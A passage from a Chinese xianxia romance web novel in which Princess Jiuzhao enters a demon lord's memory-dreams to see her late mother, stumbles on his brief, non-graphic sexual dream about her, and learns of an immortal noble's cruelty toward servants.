她默不作声反扣住兰祁的手腕,将其翻转过来,输入仙力,履行起因梦耽搁的职责。 待治疗接近尾声,兰祁悠悠叹道:“其实为仙时,孤偶尔也会羡慕芸生世的凡人。现实无处寻,梦中再相会——可惜,神仙连做梦的权利都没有。” …… 从灵泉宫离开,夜晚就寝时,九昭在脑海里回想了好几遍,梦境看到的母神模样。 根据时间判断,在兰祁成为养子时,母神已经替父神挡下贯胸一剑,受了致命伤。 可除却眉目有些疲惫羸弱,寿数将近者常见的绝望、苍白和死气沉沉并未出现在她身上。 那样温暖,那样高贵,那样美好。 哪怕触摸不到,光是静静望着,九昭都能感觉到身心的创口被抚平,灵魂归于和煦宁静。 她一次又一次,将神后的面容深深镌刻在心上。 期盼着能如凡人般,日有所思,夜有所梦。 不用再借助兰祁的双眼,便能够与母亲再度相逢。 只可惜,她依旧彻夜无梦。 晨起,带着怅然若失,九昭开启了一天的生活。 上午入定修行,午间膳后小憩,下午辅佐神帝处理些职责范围内的政事。 心魔又在蠢蠢欲动。 以九昭对于神后的思念,化为一座囚笼,激发着她渴望进入梦境幻觉的冲动。 九昭不得不承认,倘若这是兰祁的算计。 那么,他将她的心实在算得太准。 三清天内,就算有将人带入他人记忆的法术,也不具备如兰祁这般,曾经为神帝神后养子的亲近关系——唯有借助兰祁的视野和躯体,她才能真实地感受到母神的笑貌音容。 除非克制亲情的向往。 否则,她只会主动走入他的陷阱。 勉强将该做的事情做完,趁着夜幕降临,终于得了空暇。 九昭瞒着所有人,独自来到灵泉宫。 她将高台上的灯火通通点亮,枕着晚风,趴在书案,想再试试能否做到关于母神的梦。 失望总是常态。 心绪繁重的她连入睡都难以做到。 尝试到半夜,她终于失望。 垂头丧气地趿拉着脚步离开结界,一抬首,却见兰祁提着盏细茎莲灯,无声站在黑暗中。 …… “好巧。” 兰祁说着好巧,脸上没半点意料外的情绪。 他今日未戴冠,只做寻常装扮。 鸦发散落腰间,发梢浸在莲灯照亮的方寸光影里,渲染出浓重的色彩。 “是否巧合,业尊自己最清楚。” 九昭因心魔烦躁,半点好脸色也无。她不欲多说,径直与他擦肩而过。 兰祁又侧开一步,挡在她前头: “观殿下神态,此行似乎无功而返,不若由孤相伴,再乘兴同游一番。” 看来,他本也没打算遮掩。 “你到底想怎么样?” 九昭顿步,干脆把话说开,“你引我入梦,让我借由你的记忆见到母神,我也看到了她对你的细心照拂,她是对你有恩之人,更是一位亡故的尊长——就算你要对付我,也不该利用她。” “对付?” 兰祁逼近一步,歪了歪头,“似乎殿下与孤的想法有着根本不同,你我皆知,对敌人敞开记忆,是十分可怕的事情,你看到了我的记忆过往,也见到了心心念念的神后,半点损失也没有。 “孤若要对付你,做损害自身,成全于你的行为有何意义?” 颀长影子落在九昭身上,将远方镶嵌在夜幕间的星光尽数遮挡。 她被兰祁反问得说不出话,只本能地认为,对方不会如此好心。 “你是怎么做到的?在我半点儿都没察觉的情况下,无声无息便将我困在你的梦里。”她深呼一口气,“是在试验什么吗?昨日用母神充当温情假象,来日就要用恶术摄去我的灵魂?” 兰祁失笑:“殿下的想象力真丰富,如今是孤在三清天做客,周身的护卫算上几位城主族长,也不过三十余人,我若害你,焉有命离开这里,储君虽死,神帝犹在,又有什么意义?” 这三言两语,又将清池搅成了一潭浑水。 九昭摸不着头脑,警惕的眼睛盯着他一瞬不瞬:“那你告诉我,到底想怎么样?” “不想怎么样。” 前面破天荒的对她详细解释一番。 到最要紧之处,这兰祁又开始打起了哑谜。 九昭只觉自己如同一只被猫玩弄在鼓掌间的老鼠,跌跌撞撞,却不知何处才是正确出路。 她睁圆双眼,恶狠狠瞪着他,垂落在裙边的右手冷不丁被人抓紧。 一根一根,将纤细洁白的手指掰开,兰祁递过莲灯,放在九昭平摊的掌心:“若想见神后,就来灵泉宫吧,除了治疗伤口的固定时日,每隔一日的子时,我会在这里等你。” 119| 第119章 ◎“魇术。”◎ 九昭并未应约而去。 兰祁越是含糊其辞, 她越觉得事情诡异。 难道他费时费力,就为了给她一次能够与母神相聚的机会? 莫说他们早在四千五百年前已经结仇,就算没仇没怨, 兰祁堕魔许久, 魔族向来冷血狡诈,这是三清天每位神仙之间达成的共识——指望魔族释放善意,不如指望哪天太阳从西边升起。 假装无事发生,九昭按部就班地过着自己的日子。 直到四日后, 早晨醒来,对上躺在身侧祝晏欲言又止的眼睛。 “昭娘。” 他率先起身,取过床旁散落的衣衫为九昭披上, “你,是不是想念神后殿下了?” “神后殿下”四个字落入耳际,九昭眉心一跳。 “怎么了?” 她克制着不自在,佯作平静问道。 “昨夜, 我听见你唤了一晚上……母神。” 从交谈开始, 祝晏的话音就带着几分迟疑, 他眼中的温情怜惜,和对于爱侣伤痛之处小心翼翼呵护的态度清晰可见——九昭陷入无言片刻, 突然很想苦笑。 因为, 她依旧没有做梦。 更何况,几日前与兰祁分别过后, 冷静下来的她想到:做梦对于神仙而言, 根本不是好事。若在心魔存在的情况下出现执念梦, 那无疑会成为最滋补的养料, 加剧心魔壮大的速度。 “许是母神忌日将近的缘故吧。” 强迫自己收起发沉心绪, 九昭将祝晏的手指拢在掌间捏了捏, 尽力安抚着他的担忧,“话说回来,要不要陪我一起去追远殿上炷香?我想母神肯定也很想见见自家女儿的未来夫婿。” 祭拜长辈,本是礼节。 祝晏欣然应允。 梳洗一番后,他们携手来到摆放着历代神帝神后牌位塑像的追远殿。 踏入檀香袅袅的宽阔大殿,九昭又在供台前见到了阴魂不散的兰祁。 他才从旁边的侍奉仙官手里取过三炷香,眼见他们二人来到,满脸意料中事的表情。 “神姬殿下,祝晏仙君。”笑着打完招呼,他缓步靠近,将手中立香奉到九昭眼下:“你们二位是来祭拜神后的吗?亲疏有别,远近有序,二位先请。” 俗话说,伸手不打笑脸人。 神牌肃穆,大殿庄严,九昭也不好如两人独处时那般,质问他又想干什么。 她矜持颔首,回了句“谢过业尊”,就要从兰祁手里接过立香。 然而。 往来交接间,她倏忽感觉到对方的指腹极快蹭过掌心。 身体的反应几乎比意识来得更迅速。 她的小臂肌肉瞬间紧绷起来。 是故意的,还是不小心? 她抬眼同兰祁相视,对方却显得若无其事:“那么,孤先到殿外等候,殿下仙君请便。” 黑袍漫过光洁玉砖,发出衣物摩挲的窸窣声响。 抬步之际,他又将手背到身后,状似无意地感叹一句:“神后仁慈温和,堪为三界表率——只可惜,哪怕穷尽异宝,汇集能工巧匠极尽雕琢,这尊塑像也无法彰显她的一分生动气韵。” 说完,他擦着九昭的肩膀,毫无留恋地离开。 肌肤相触的酥麻仍残留掌中,九昭的目光下意识被兰祁远去的背影吸引。 明灭闪烁的眸光昭示着她内心的不定。 注意力被另一人悉数夺走。 她也因此错过了站在手边,自始不曾开口的祝晏,眼中一闪而过的沉思。 …… 九昭满腔的心事,没有为着给神后上了香而变得轻松。 从追远殿出来,一路她始终保持沉默。 两人相伴回到离恨天,祝晏没有按照习惯进入长乐命牌温养神魂。 他只身立在距离九昭几丈开外,注视着她对镜脱下祭奠应着的简素袍服。 少顷,轻声询问:“昭娘,你可是有事瞒着我?” 九昭解开绦带的手指一顿。 她瞒着祝晏的事实在太多,如今遽然耳闻,竟不知要从何说起。 幸而,祝晏也没有要她重头交代的意思。 在话与话中间,他停顿了几息,像在思考如何组织言语,才能将后续的对话顺利进行下去。 “方才上香的时候,我总觉得,你和业尊之间,气氛不对。” 原来是这件。 也幸好是这件。 不涉及不能袒露的秘密,九昭指尖放松下来,默默舒了口气。 她转念意识到,祝晏头脑敏锐,兰祁无故引自己入梦的事,若独自思忖,难以触及原因,不妨说出口,同他探讨一番,说不定能够寻到一片豁然开朗的天地。 “上次,我依你所言,为避人耳目,与兰祁约在灵泉宫相见。 “治疗伤口的过程中,却莫名入梦,不仅在梦中变成了兰祁,还见到了没有逝世前的母神——” 九昭简述了经过,又将她质问兰祁,兰祁来回兜圈子打哑谜的态度告知祝晏。 “据我了解,焚业海的确是有一种魇术,可以引他人入梦—— “只不过这种术法限制太大,和心魔幻境以及其他迷幻术都有着本质区别,只能作用在施术者和中术者间,且创造的梦境必须是真实存在过的,不能随意捏造,也不能强行更改。 “它是可以将中术者拖入梦境永不醒来,但代价是施术者也必须将自身困顿其中,消耗魔气维持术法——否则施术者醒转,中术者也会立刻脱离囚牢,在实战当中,这种魇术根本没有意义,所以几乎不会有魔族愿意耐着性子修习,我也只在九尾狐族的藏书阁中看到过相关描述。 “昭娘,你若是需要,下回我将那本书带给你。” 听见祝晏的解答,九昭的心多少安了些。 兰祁想害她,法子多的是,绝不可能选择以命换命。 把唯一的危险排除掉,兰祁的目的就更叫人如坠五里雾中。 对于渴望见到母神的执念,的确会加重她的心魔,可兰祁又怎么可能知晓她已产生了心魔? 这件事,除了死去的巫逐,她便只告诉过父神。 父神透露给兰祁,简直是天方夜谭。 和祝晏反复推敲了好几遍,迷茫的人从一个变成两个。 说多了,九昭拧着眉头感到烦躁。 见她脸色不好,祝晏索性反其道行之,提出另一种设想:“昭娘,劝你远离业尊的话,我便不重复了……我也是有过丧母之痛的人,清楚哪怕是在梦里,能够短暂和母亲相处片刻,于我们而言,也是极大的慰藉。你若再去找他,凡事都要小心,另则,我觉得有一点业尊说得没错。” 难得,神仙会有认可魔族的时候。 九昭心中的浮躁少了些,凝神朝他望去,以示专注倾听。 “梦境亦是记忆的一部分,而记忆存于识海深处,仙魔同等。 “他要引昭娘你进梦,就要解除身体防御,主动接纳你的仙识。 “仙魔的精神防御远比身躯来得脆弱,若你不受控制,突破梦境深入识海,用仙识攻击他的灵台,顺便搜取其他记忆,那么,他将会面临秘密泄露,或者灵台造损,身受重伤的可能性。 “不过,连战神扶胥对上业尊都讨不了好,怕是他如今的实力早已匹敌上神。” 边听祝晏的分析,九昭边有了新的考量。 除却特定种族,无论仙魔,都以追求力量进益为主。 少有人会着重淬炼精神意志。 所以他们想要挣脱魇术,深入识海大概率不行——可被封在凤凰树心内,日日分散仙识,忍受元初之火灼烧四十九年,九昭自问对于仙识之力的把控运用,早就有了质的提升。 当初巫逐与她血契相连,都不曾注意到她的小动作。 那么,面对兰祁,自己是否也有一战之力? 魔族狡诈诡谲,既然无法从兰祁的口中撬出真相,或许这便是另一个达成目的的办法。 120| 第120章 ◎“兰祁在做梦。”◎ 两人说完话的当天, 祝晏回了趟北境,为九昭取来他口中提到的书。 书的名称叫做《焚业海异术志》,其中对于魇术的记载不多, 不过寥寥百字。 九昭逐字研读, 见上述内容和祝晏说的差不多,便决定按照计划试试。 此后,她又晾了兰祁几日,摆足架子, 才赶在子时一刻来到灵泉宫。 去之前,九昭已做好心理准备。 时间过去了好几日,哪怕兰祁放弃等待也是情理中事。 夜风充盈衣袖, 带起裙摆猎猎翻飞。 穿过遮蔽宫室的云层,在万籁俱寂的深宵里,首先撞进九昭视线的,仍是一片烛火憧憧。 莲灯的光亮柔和幽黄, 堪堪照亮脚下立足之地。 兰祁无声站着, 面容隐于暗处, 仿佛一尊历经星霜,等候万年的塑像。 “你来了。” 他从黑暗中转了出来, 不疾不徐走到九昭面前。 那莲灯的映照范围, 也跟着从他的脚下,来到了九昭脚下。 这一切动作的发生无比自然, 行云流水, 好似丈夫秉烛迎接忙完差事的妻子归家。 ……呸。 什么奇怪的比喻。 九昭在心中嫌弃地连啐两声, 才把别扭的感觉压了下去。 这次, 她虽是为了尝试窥探兰祁的其他记忆而来, 但不能将目的表现得太过明显。 “嗯。” 不情不愿地从鼻间发出敷衍短音, 默了一息,九昭骂骂咧咧开始演戏,“希望业尊的所作所为,真的如同你说的那样,仅是为了助我见到母神,没有其他目的,否则我奉劝你还是死了这条心——我已知晓你使用的是焚业海少见的魇术,也掌握了对付此术的方法,你若想以此害我,那绝对不可能!” “这里只有你我二人,你也要叫我业尊吗?” 九昭的揣测出口,既是一种震慑,也是恶意的挑衅。 兰祁却不以为意。 他在九昭的瞪视下,难得解释两句:“我从未想过要害你——留春宴结束后不久,便是神后殿下的忌日,但我留不到那个时候便要返回焚业海,在走之前,为你做些事情,也算偿还她的养育之恩。” 不管真心还是假意,只要兰祁愿意,他总是能够把话说得很好听。 他用目光示意九昭解除灵泉宫的禁制,跟随自己一起进入其中,嘴上仍在慢慢说着:“你我之间已然过去四千五百年,如今仙魔两族议和在即,日后我们免不了往来相见,借着这件事,我想同你缓和关系。” “只是这样,业尊前番被我问及缘由,又何必遮遮掩掩?” 九昭的怀疑半点不减。 她用神令解开结界,两人心照不宣地穿过沉寂宫庭,再度并肩飞上高台。 兰祁坦荡的话音萦绕在她耳畔:“若我直接同你说明魇术无害,我引你入梦只为叫你见到神后殿下,你可会相信?只有你自己查证过了,对我多出几分信任,愿意赴约到来,我才好对你说出我的真心话。” “业尊这张嘴,从前为仙时,便是三清天之翘楚,最擅长把黑说成白,白说成黑—— “编些理由出来糊弄我,又有什么难的。” 九昭觑他一眼,两人面对面在书案两侧坐下。 面对她的一再挑衅,兰祁笑意不变:“既然昭昭不愿听我辩解,那就直接入梦吧。” “都说了不许叫我昭昭! “还有,你凭什么——” 来做我的主。 困意如涨潮的海浪般迅速席卷脑海,后五个字尚且徘徊在半开的齿间。 九昭没来得及看清兰祁怎么使用的术法,眼前的世界陡然失去色彩。 …… 意志回笼时,她又化作魂灵,宿在了少年兰祁的躯壳里。 抬眼望去,是焕然如新的灵泉宫。 从春台殿到灵泉宫,想来距离上次被捡回三清天,又过去了一段时间。 九昭尝试操纵这副身体,依然徒劳无功。 正苦恼着,神后的嗓音从殿外遥遥传来:“祁儿,快来看看,这是从南陵移来的清泉,母神又叫你父神溶了最利于木系神仙修行的水木灵华在其中,你日后无事,可以多来泡泡,对固本培元有好处。” 天知道,九昭多想狂奔出去,一把扑进神后的怀抱里尽情撒娇。 她通过兰祁的瞳孔,眼巴巴地望着声源的所在。 奈何这具躯壳好像干什么都不紧不慢—— 不紧不慢地起身,不紧不慢地出殿,不紧不慢地站到神后身边。 温热的手掌再次抚上头顶。 少年状态的兰祁,身量只比神后矮上些许。 可神后的动作,依旧不自知地透露出将他当成小孩子的想法,一下一下,慈爱地摸着他的头:“祁儿喜欢灵泉宫的布置吗?母神和父神也是第一次为人父母,有什么做得不够的地方,你一定要和我们说呀。” “已经很好了,谢过、母神。” 少年的声音处于变化的过渡阶段,带着点不难听的沙哑。 他称呼神后为母亲,肉眼可见的拘谨。 “倘若不习惯叫我‘母神’的话,按照你的喜好,称呼什么都可以。” “……谢过神后殿下。” 少年的改口速度很快,快到九昭在脑海大骂他不知好歹之余,神后亦有些默然。 但转眼,她调整好表情,握住兰祁的左手,笑着说道:“走,我带你再去瞧瞧灵泉宫别处的风景。” 梦境的存在时间格外长久。 九昭陪伴在神后侧畔,前前后后将灵泉宫逛了个遍。 归来时,还共进了一顿丰盛午餐。 这些场景皆是既成的事实,无法改变,尽管十分不满兰祁过于拘谨疏离的态度,九昭也只能强迫自己无视他的所作所为,抓紧一切机会,多看一看母神的目光笑容,多感受感受母神留在身上的温度。 到日落时分,熟悉的抽离感来袭,提醒着九昭马上就要转醒。 相较于上次猝不及防被拉入梦境,还没搞清楚状况又陡然醒来的仓促,这回九昭并不慌张。 她表现出对于神后眷恋不舍的样子,尽可能地拖延着梦醒的时限,不断与拉拽自己的力量抗衡。 不多时,岁月静好的画面碎成一块一块裂片。 在裂片分散开来的缝隙中,九昭见到了围绕在虚幻境界外,如同星河般闪烁的,属于兰祁的识海。 等的就是这个机会! 树心内重复过无数次的行为于此刻上演。 九昭卸下力气,放任魇术将自己拉出梦境。 却在无声无息之间,分裂出一缕游丝般的仙识,直直飞向界限尽头的识海。 …… 重新睁开眼。 九昭的心脏怦怦狂跳。 她立刻转眸看向先自己一步醒来的兰祁,嗔怪道:“怎么每次都结束得这么突然!” “到底是魔族的术法,待在其中太久,对你的身体无益。” 九昭望向兰祁之时,兰祁也在注视着她,他回答她的语调一如既往沉定。 “噢,难怪我醒来时总觉得有点胸闷气短——那你呢,我进入你的梦境,你不会有什么不舒服吗?” 用手上下抚着胸口佯装顺气,九昭随便编了个理由继续试探。 书案对面,兰祁淡定摇头。 他光用动作回答,也不说话,疏落月色下,高台内的气氛有些冷场。 九昭高速转动着大脑。 应当成功了吧? 光用嘴问,似乎也验证不了什么。 外人的仙识入侵灵台,是十分危险的行为。 他若发现,面色不应该如此平和。 退一万步来说,就算兰祁脸上能够保持镇定—— 一旦出现驱逐消灭仙识的行为,她这边也会立刻感应到。 要不,再试探试探? “你——” 九昭眸光闪了闪,意欲再说些什么。 那头,兰祁却是倏忽站起身:“夜已深了,明天还有公务,我们早些回去吧。” 今夜祝晏要接受杏杳的治疗,回到寝殿,九昭独眠。 她靠在床上,掰着手指,犹豫着何时与仙识建立联结才好。 不论仙魔,清醒状态下,警觉性总是更高。 她要查探兰祁的记忆,得等到他入睡后才更安全放心。 硬生生等到五更末时,再过一会儿天就该亮了,九昭才尝试着催动仙识。 兰祁的识海一片寂静。 没有任何精神抑或力量的波动。 这就意味着此刻他身心皆定——要么正在打坐修行,要么陷入了沉睡。 打坐修行,五感更加敏锐,体内的些微变动都会被立刻察觉。 陷入沉睡,则为放松,便可以有所行动。 一半一半的概率,但九昭的运气向来很差。 她操纵仙识,随着识海流转的轨迹缓缓游淌着。 然后,来到了一处发光的圆核面前。 九昭经历了两次魇术,对这个十分熟悉—— 神仙将意识称作仙识,那么按照划分,魔族的意识就是魔识。 圆核之内,是魔识汇聚于一处过后,构建的境界。 无意识状态下,这处境界即是梦境。 兰祁,正在做梦。 日有所思,夜有所梦。 魔族虽不像神仙受困于执念梦和预知梦的限制。 但九昭也很好奇,能出现在业尊梦里的事物,会是什么。 就这样,连通九昭视野一小缕游丝,遵从着她的意志,轻轻贴在了圆核的外壁上。 相触的瞬间,过盛的光亮终于不再阻碍视野。 九昭朝内里定睛看去。 向两侧打开的雪白双腿。 和一颗背对着的、黑漆漆的脑袋陡然映入她的眼帘。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 120-130 121| 第121章 ◎“臣只希望殿下好好的,安稳地度过这一生。”◎ 梦境的画面只有下半截, 根本看不清脸。 但也足够尴尬到九昭的脚趾紧紧蜷缩在一起了。 ……没错,她是想探知兰祁的秘密。 可秘密指的不是这种啊! 再多瞧一眼,九昭都觉得明日自己脸上怕是要长出无数针眼。 她刻意忽略掉, 那两条架在兰祁肩上的白腿带来的熟悉感, 咬牙操控仙识意欲撤离。 谁知,进来容易出去难。 一下子,竟然没有成功。 梦境圆核散发的光亮好似有吸附作用,仙识在外壁上扭来扭去, 怎么也挣脱不得。 为了不被察觉,九昭不敢加大力度。 她只能一面小幅度挣扎着,一面被迫将眼前的绮艳景象“欣赏”下去。 兰祁的脑袋埋在其中很久。 诡异的是, 整个梦境完全没有声音。 他没有声音,被口/舌/侍/奉的另一方更没有。 九昭只能凭借那两条紧绷的程度,来判断过程进行到了哪一步。 许久之后,兰祁放松了对于它们的掌控。 随着面孔的益发深入, 九昭看着它们如同濒死的白蛇般交叠在一起。 接着猛地锁紧在他的颈后。 窘迫到达极点。 这一瞬, 九昭只恨自己不是个瞎子。 心脏的砰砰跳动, 影响了脉搏和呼吸,面红耳赤之余, 仙识那头依旧不曾传来任何声息。 着实有些不对。 她严重怀疑圆核是否设有什么禁制。 倘若如此, 对于后续的窥探而言也是件麻烦事。 情事搞一段落。 不知为何,挣扎扭动起了一点作用, 游丝的下半截终于脱离了外壁的吸附。 九昭正暗自庆幸, 不必再作为第三者参与下半场, 那头, 画面却不给她任何缓冲的余地, 随着兰祁的起身陡然向上。 “!!” 九昭先是看见了兰祁的侧颜。 以及他那张线条优美的薄唇上, 无论如何也无法忽视的淋漓水光。 而后,他的肩膀侧开一点角度,被摁在身下,摆弄过度的人猝不及防撞进九昭的视线。 九昭鼻息一滞。 …… 不是妃嫔妾室。 更不是新欢相好。 树心内不堪的回忆重燃,她大脑满是空白地望见了另一个被黑绸蒙着眼睛,下了禁言术的自己—— 柔顺地躺在兰祁的臂弯间。 黑绸被泪水打湿,洇染出更深的色泽。 说不出话的唇瓣可怜地张合着,仿佛被捕捞上岸,急需汲取氧气的游鱼。 不容仙识再看,兰祁又突然变换姿势,利用体型差,完全罩住了怀中人。 九昭无从知晓他此刻的表情。 是疏散欲/念的愉悦,是折辱仇敌的畅快。 亦或者其他—— 她只听见今晚寂静的梦境里,传来的第一道声音: “昭昭,我还是喜欢这样的你。 “不会咬牙切齿地骂我,不会用这双漂亮的眼睛瞪着我。 “依赖着我,缠绕着我,就好像回到了过去。” 画面到这里突然闪烁了一息。 那牵萦在仙识四周的光亮也跟着微弱下去。 浆糊般的吸附力无声消失,九昭懒得探究这是什么缘故,立刻逃也似地飞了出去。 仙识拼命地在兰祁的识海游蹿着。 直到躲进了一个不起眼的角落,直到梦境圆核的光芒不复可见,九昭才满脸绯红地睁开眼睛。 她在床上坐着缓了片刻。 想痛骂不要脸的兰祁,却像是也被下了禁言术般,罕见地失去言语。 这是在干什么? 这合理吗? 难道兰祁恨她恨到连做梦,都在想方设法羞辱她吗?! 月漫林梢,万籁俱寂。 九昭却再无半点睡衣。 她一骨碌翻身下床,气得在寝殿内来回踱步消解。 “为什么另一半凤凰真血不在你体内? “倘若是你该有多好—— “我也不必犹豫这是不是一条人命,定亲手行刑将你千刀万剐!” …… 九昭满肚子怨气地捱到天亮,一整天都没什么笑影。 往来侍候的女婢仙官们大气不敢出,生怕一个不小心得罪了这位喜怒无常的神姬。 到午后协助神帝处理政务时,她又收到一条来自瀛罗的仙讯。 说上次他奉命调查的,有关烛龙的往事,有了些眉目,见面详叙。 九昭应下。 处理完政务便独身前往西海。 照旧在世子邸相见,桌上茶水点心已备好,瀛罗抬手令四立的仆婢下去,站在她面前作揖告罪道:“烛龙之事过去几万年,臣调查起来有些难度,这才耽搁了不少时日,还望殿下见谅。” 总算有了个好消息。 九昭周身的低气压一收,将桌上的另一盏茶亲自递给他:“无妨,我知晓你已经尽全力了。” 又招呼他坐在旁边:“所以,具体是什么情况,你把查到的东西和我详细说一说” 提起这个,饶是瀛罗,面上亦流露出一丝复杂和不忍:“殿下,烛龙虽可恨,但也着实可怜……他为人形时,头上的双角无法收回,半魔身份昭然若揭,万年间受到的折辱数不胜数。 “旁人做得最多的,不过是唾骂几句,至多再对他拳打脚踢一番,可有几位神仙却以折磨他为乐——他们家世不低,领头的毓灵金仙,更是东神王最小的妹妹,相比其他的庶出子女,他们为一母同胞,东神王的母亲在诞下毓灵金仙后不到千年便病逝了,长兄如父,东神王亲自养大了这个妹妹,对她疼爱异常。” 九昭沉默不语。 是有些棘手。 也难怪她当日询问时,巫逐不愿道明真相。 九昭一时没有太好的对策,选择先把事情了解下去:“除了毓灵之外的其他人呢?” “其他人……” 瀛罗顿了顿,“都已不在人世。” 九昭的眉峰登时警觉挑起。 毓灵身份过高是个意外,可其他人都如巫逐所言那般死去了。 莫非,巫逐真的研制出了悄然杀人的慢毒? 那么父神那里—— 九昭忍不住感到担忧。 察觉她面色比来时更差,瀛罗沉声说道:“除去毓灵,一共三人,臣仔细查探过,他们的死况并不蹊跷——一个本算是天赋不错,却因生了心魔的缘故,迟迟无法晋升金仙,最终寿数耗尽而死。其余两人在长成之后,想要建功立业,便相约投身军队,结果先后死在两场仙魔战争当中。” “他们不是亡于仙考?没有下场惨淡,死无全尸?” 九昭的接连两句反问,令瀛罗倍感惊心。 他踌躇几瞬,委婉试探道:“殿下,是不是从烛龙那里,了解到了什么?” 九昭反应过来,轻轻咳嗽:“没什么,我只是觉得依照烛龙睚眦必报的性格,大约不会叫他们好过。” “天赋出众者终生庸庸碌碌,醉心权势者出师未捷身先死,只怕死也不能瞑目。” 瀛罗感慨一声,肃然神容,“殿下,还有一件事,臣也要禀告给您。毓灵金仙犯下的罪过,何止欺辱半神烛龙这一桩,这些年她依仗东神王的庇护,横行东原,做出不少戕害低等散仙性命的恶事,她自恃那些神仙身份微薄,背后没有靠山,便是将他们杀了也从不遮掩,东神王每每知晓,尽是不痛不痒申斥几句。” 九昭立即捕捉到当中关键:“这么说,你搜集到了她恶贯满盈的证据?” 瀛罗长睫遮敛,不忍直言:“臣的人前往东原,秘密联系上了一位仙奴,她与她姐姐同是侍奉毓灵的婢女,因在为毓灵梳头时不慎扯断了一根头发,她的姐姐被毓灵当场打死,她扑上去阻拦,也被虐待一通。 “后来毓灵厌烦了,想将仙奴丢去喂豢养的灵兽,拖拽中正好被东神王撞到,东神王认为毓灵做得太过,有损仙泽,便留下仙奴的性命,只是叫人在治伤的过程里毒哑了她的嗓子,不准她向别人诉说内情。” 九昭听完,只由衷感到不齿和恶心。 毒哑嗓子,既是警告,也是一种绝对强权的炫耀。 仙奴说不出话,不代表不能写字,不能利用最简单的密音仙术上诉伸冤。 东神王这么做,意在告诉她,哪怕活着也只有暗无天日的痛苦,绝不会有人在意最低阶神仙的死活。 九昭内心的杀意,在此刻到达前所未有的程度。 怪不得在巫逐、无咎这些背叛三清天的人眼中,神仙是比魔族更加丑恶且沽名钓誉的存在。 有诸如毓灵的毒虫存在,恐怕天道迟早有一日会降下惩罚,叫整个仙族共坠地狱。 沉默半晌。 九昭握着早已凉透的茶盏,垂首道:“瀛罗,那名仙奴,你能不能想办法将她从东原带出来?” 瀛罗没答应,也没拒绝: “殿下,东神王的人会隔三差五,前往仙奴的住处附近监视一番,臣的手下有次差点被发现。” 九昭早已不是那个信奉整个世界都围着自己转,合该为自己赴汤蹈火的人。 她站在瀛罗的角度,想到这件事若由瀛罗来做,落在旁人眼中,恐有西海挑拨获利之嫌,便斟酌着说道:“或者、或者不用你出面,你只将她的身份信息,还有所住之地都告诉我,我自会派人——” “殿下以为,是臣不愿与殿下站在一起,才会出言推脱吗?” 瀛罗遽然抬头打断她的话,“实在是这样的事有太多太多,不提东原,哪怕其他三境,那些贵部大族们也从来不把仙奴和没有身份地位的散仙们的命当成命,您今朝为两个婢女出头,会得罪很多人的! “——臣是担心您! “好不容易涅槃归来,如今三清天内,您的风评也在好转,难道要再一次动摇自己的储君之位? “更何况,就算您有心惩戒毓灵,说不定私下禀告到帝座那里,帝座也会因诸多顾虑,将事情压下去。” 瀛罗很少用如此激烈的语调同九昭说话。 慨声尽处,他望着九昭澄亮依旧的瞳孔,又带着不知对于既定命运,还是无法摆脱的身份的认命,将嗓音低了下去,“臣同样明白举世不公,生灵何辜——可再重要的东西,和殿下比较起来,都不重要了。 “臣只希望殿下好好的,安稳地度过这一生。” 122| 第122章 ◎“下流色/魔!”◎ 瀛罗从来都是天之骄子, 说话做事很有成算,鲜少会用近似祈祷哀求的语气。 这次,九昭却从中听出了强烈的不确定和患得患失。 站在储君的位置上, 似乎一生都与安稳平定没什么关系。 这是彼此心照不宣未曾说出口的东西。 九昭静了瞬, 对于注定实现不了的愿望,不知该如何作答。 最后只能在瀛罗不错眼的注视中,答应他行动前夕定会同他商量完备的计划,不会瞒着他、丢下他。 瀛罗这才那名仙奴的全部信息交了出来。 还告诉九昭, 东神王的人大约每隔七日会过去看看情况,要确保万无一失,一定要赶在这个期限内。 密谈结束, 告辞离开。 被瀛罗亲自送出来时,九昭没敢多看他的眼睛。 她清楚为了不把他拖下水,许下的承诺注定要辜负。 来时满怀心事,去时思绪加倍。 从毓灵肆意打骂侍婢, 残害人命的事实中, 九昭再一次深刻认识到了仙奴在三清天的地位。 她由此及彼, 担心起另一件事。 祝晏也有一个从小相依为命的侍女月见,仍被留在北境。 原打算趁着大婚前夕, 将月见接来, 叫她见证喜事之余,从此以后也能过上好日子。 如今想来, 好事更不宜迟。 神王妃的性格未必会被毓灵好上多少——偏偏她的儿子孟楚残废, 祝晏却春风得意。 两厢比较之下, 难保她不会气急败坏, 直接对月见下手。 日暮时分共进完晚膳, 九昭同祝晏提起这点。 “我是这么想的, 晏郎你认为如何?” 并肩站在花园廊下,九昭随手摘了根野草,逗弄雕花笼里的极乐鸟,她望着它们圆滚滚的身子飞上飞下,目不旁视地对祝晏说道,“若是你也觉得可以,我明日就派离恨天的统领仙官朱映去将月见接来。” 虽是商量,可九昭笃定祝晏会同意。 她的脑海内已然思忖起月见到来后要住在哪里,何日给她脱离奴籍,以及另外安排个什么职位。 谁料话说出去,迟迟没有得到对方的回应。 九昭逗弄鸟的动作暂缓,转眸望向右手边:“晏郎,你怎么不说话?” 游廊四周,亦有九昭最喜欢的曲茎莲灯错落排开。 若有清池相伴,端的一幕莲月生辉的美景。 只不过,祝晏站立的位置,恰好挡住了烛火弥散的光芒。 他半张脸逆光陷在暝昧的昏暗里,九昭一时看不清,沉默之下是何表情。 待要再问,他方结束沉吟,说起自己的顾虑:“月见姑姑到底是照顾我长大的,王妃不至于将事情做得那么绝,少时的那次惩罚,皆因我行事过于张扬。这些年,我学会避开兄长锋芒,彼此倒也相安无事。” “你是害怕给我添麻烦吗?放心,我一定要让北神王妃什么话都说不出来。” 九昭习惯了他的善解人意,处处为自己着想,推心置腹同他进一步说道,“仙奴在三清天的处境你是知晓的,哪怕死了,只要不闹到明面上来,也无人会当回事——凡事不怕一万,就怕万一。” “昭娘,你怎么了?今日似乎对仙奴的境遇感慨颇多。” 或许是话里有话的意味太明显。 对视少顷,祝晏冷不丁问及除月见之外,九昭频频提起的第二个重点。 “嗯,那是因为、绛玉前几日侍奉我沐浴时,说到她有个心上人,担任着贵族府幕僚的职务,他们相知相许已久,只是碍于绛玉的仙奴身份,没办法光明正大成婚。”九昭临时找了个理由应对祝晏。 与此同时,她想到,纵使底层神仙的际遇没办法一下子全都改变。 也要从自身边起,先保护好亲近的人不受伤害。 “和她聊完后,我便打算找个日子,替身边几个女婢请旨脱离奴籍——更由此,想到了你在北境还有一位情同家人的侍女没有接回。”九昭边说边觑祝晏,见他露出思索神情,干脆点明利害,“你想想,孟楚那边成了残废,你这边却将跟我成婚,神王妃肯定心里不平衡,相安无事不过是之前瞧你没有争的资本。” 